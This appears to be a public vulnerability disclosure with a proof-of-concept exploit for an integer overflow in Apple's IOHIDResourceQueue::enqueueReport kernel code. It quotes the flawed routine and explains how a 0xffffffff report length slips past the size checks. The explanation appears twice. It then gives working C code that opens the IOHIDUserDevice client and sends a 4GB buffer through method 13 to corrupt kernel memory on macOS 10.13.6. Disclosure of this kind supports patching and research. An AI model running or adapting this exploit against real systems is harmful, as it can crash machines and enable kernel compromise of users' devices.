Apple iOS/macOS - Kernel Memory Corruption due to Integer Overflow in IOHIDResourceQueue::enqueueReport

/*
IOHIDResourceQueue inherits from IOSharedDataQueue and adds its own ::enqueueReport method,
which seems to be mostly copy-pasted from IOSharedDataQueue and IODataQueue's ::enqueue methods.

I reported a bunch of integer overflows in IODataQueue over four years ago (CVE-2014-4389, apple issue 607452866)

IOHIDResourceQueue::enqueueReport has basically the same bug:

Boolean IOHIDResourceQueue::enqueueReport(IOHIDResourceDataQueueHeader * header, IOMemoryDescriptor * report)
{
    UInt32              headerSize  = sizeof(IOHIDResourceDataQueueHeader);
    UInt32              reportSize  = report ? (UInt32)report->getLength() : 0;
    UInt32              dataSize    = ALIGNED_DATA_SIZE(headerSize + reportSize, sizeof(uint32_t));   <--- (a)
    UInt32              head;
    UInt32              tail;
    UInt32              newTail;
    const UInt32        entrySize   = dataSize + DATA_QUEUE_ENTRY_HEADER_SIZE;
    IODataQueueEntry *  entry;

    // Force a single read of head and tail
    head = __c11_atomic_load((_Atomic UInt32 *)&dataQueue->head, __ATOMIC_RELAXED);
    tail = __c11_atomic_load((_Atomic UInt32 *)&dataQueue->tail, __ATOMIC_RELAXED);

    if ( tail > getQueueSize() || head > getQueueSize() || dataSize < headerSize || entrySize < dataSize)   <--- (b)
    {
        return false;
    }

    if ( tail >= head )
    {
        // Is there enough room at the end for the entry?
        if ((getQueueSize() - tail) >= entrySize )
        {
            entry = (IODataQueueEntry *)((UInt8 *)dataQueue->queue + tail);

            entry->size = dataSize;

            bcopy(header, &entry->data, headerSize);

            if ( report )
                report->readBytes(0, ((UInt8*)&entry->data) + headerSize, reportSize);     <--- (c)




Report is the IOMemoryDescriptor which wraps the stucture input to the io_connect_call, it's wrapping a portion 
of userspace so we can actually make an IOMemoryDescriptor with a length of 0xffffffff. This will overflow at (a)
giving us a small value for dataSize. This will pass the checks at (b) but then the reportSize value is used at (c)
for the actually memory write operation.

The IOHIDResource is used when userspace wants to implement an HID device; to exploit this you need there to actually be one
of these devices. If you have the com.apple.hid.manager.user-access-device entitlement you can create one of these.

A bunch of daemons do possess this entitlement, for example bluetoothd needs it to implement bluetooth HID keyboards,
so if you have a bluetooth keyboard connected you can trigger this bug without needing com.apple.hid.manager.user-access-device.)

You can test this PoC either by connecting a bluetooth HID device, or by building the IOHIDResource keyboard example
from the IOHIDFamily code, giving it the correct entitlement and running it.
*/

// @i41nbeer

/*
iOS/MacOS kernel memory corruption due to integer overflow in IOHIDResourceQueue::enqueueReport

IOHIDResourceQueue inherits from IOSharedDataQueue and adds its own ::enqueueReport method,
which seems to be mostly copy-pasted from IOSharedDataQueue and IODataQueue's ::enqueue methods.

I reported a bunch of integer overflows in IODataQueue over four years ago (CVE-2014-4389, apple issue 607452866)

IOHIDResourceQueue::enqueueReport has basically the same bug:

Boolean IOHIDResourceQueue::enqueueReport(IOHIDResourceDataQueueHeader * header, IOMemoryDescriptor * report)
{
    UInt32              headerSize  = sizeof(IOHIDResourceDataQueueHeader);
    UInt32              reportSize  = report ? (UInt32)report->getLength() : 0;
    UInt32              dataSize    = ALIGNED_DATA_SIZE(headerSize + reportSize, sizeof(uint32_t));   <--- (a)
    UInt32              head;
    UInt32              tail;
    UInt32              newTail;
    const UInt32        entrySize   = dataSize + DATA_QUEUE_ENTRY_HEADER_SIZE;
    IODataQueueEntry *  entry;

    // Force a single read of head and tail
    head = __c11_atomic_load((_Atomic UInt32 *)&dataQueue->head, __ATOMIC_RELAXED);
    tail = __c11_atomic_load((_Atomic UInt32 *)&dataQueue->tail, __ATOMIC_RELAXED);

    if ( tail > getQueueSize() || head > getQueueSize() || dataSize < headerSize || entrySize < dataSize)   <--- (b)
    {
        return false;
    }

    if ( tail >= head )
    {
        // Is there enough room at the end for the entry?
        if ((getQueueSize() - tail) >= entrySize )
        {
            entry = (IODataQueueEntry *)((UInt8 *)dataQueue->queue + tail);

            entry->size = dataSize;

            bcopy(header, &entry->data, headerSize);

            if ( report )
                report->readBytes(0, ((UInt8*)&entry->data) + headerSize, reportSize);     <--- (c)




Report is the IOMemoryDescriptor which wraps the stucture input to the io_connect_call, it's wrapping a portion 
of userspace so we can actually make an IOMemoryDescriptor with a length of 0xffffffff. This will overflow at (a)
giving us a small value for dataSize. This will pass the checks at (b) but then the reportSize value is used at (c)
for the actually memory write operation.

The IOHIDResource is used when userspace wants to implement an HID device; to exploit this you need there to actually be one
of these devices. If you have the com.apple.hid.manager.user-access-device entitlement you can create one of these.

A bunch of daemons do possess this entitlement, for example bluetoothd needs it to implement bluetooth HID keyboards,
so if you have a bluetooth keyboard connected you can trigger this bug without needing com.apple.hid.manager.user-access-device.)

You can test this PoC either by connecting a bluetooth HID device, or by building the IOHIDResource keyboard example
from the IOHIDFamily code, giving it the correct entitlement and running it.

Tested on MacOS 10.13.6 (17G65)
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#include <IOKit/IOKitLib.h>

#include <mach/mach.h>
#include <mach/mach_vm.h>

int main(int argc, char** argv){
  printf("pid: %d\n", getpid());
  kern_return_t err;

  io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IOHIDUserDevice"));

  if (service == IO_OBJECT_NULL){
    printf("unable to find service\n");
    return 0;
  }

  io_connect_t conn = MACH_PORT_NULL;
  err = IOServiceOpen(service, mach_task_self(), 0, &conn);
  if (err != KERN_SUCCESS){
    printf("unable to get user client connection\n");
    return 0;
  }

  printf("got client\n");

  uint64_t inputScalar[16];  
  uint64_t inputScalarCnt = 0;

  char inputStruct[4096];
  size_t inputStructCnt = 0;

  uint64_t outputScalar[16];
  uint32_t outputScalarCnt = 0;

  char outputStruct[4096];
  size_t outputStructCnt = 0;
  
  // open
  
  inputScalar[0] = 0;
  inputScalarCnt = 1;

  err = IOConnectCallMethod(
    conn,
    1,
    inputScalar,
    inputScalarCnt,
    inputStruct,
    inputStructCnt,
    outputScalar,
    &outputScalarCnt,
    outputStruct,
    &outputStructCnt); 

  if (err != KERN_SUCCESS){
    printf("IOConnectCall error: %x\n", err);
    return 0;
  }

  printf("called external method open\n");
  
  mach_vm_address_t addr = 0x4100000000;
  mach_vm_size_t size = 0x1000;

  err = IOConnectMapMemory(conn, 0, mach_task_self(), &addr, &size, 0);
  if (err != KERN_SUCCESS){
    printf("IOConnectMapMemory failed:0x%x\n", err);
    return 0;
  }
  
  printf("mapped queue memory here: %016llx\n", addr);	

  char* buf = malloc(0x100000000);
  memset(buf, 'A', 0x100000000);

  inputScalar[0] = 0x0;
  inputScalar[1] = 0x0;
  inputScalarCnt = 3;
  outputScalarCnt = 0;

  err = IOConnectCallMethod(
    conn,
    13, // setreport
    inputScalar,
    inputScalarCnt,
    buf,
    0xffffffff,
    outputScalar,
    &outputScalarCnt,
    outputStruct,
    &outputStructCnt); 

  if (err != KERN_SUCCESS){
    printf("IOConnectCall error: %x\n", err);
    return 0;
  }
  
  return 0;
}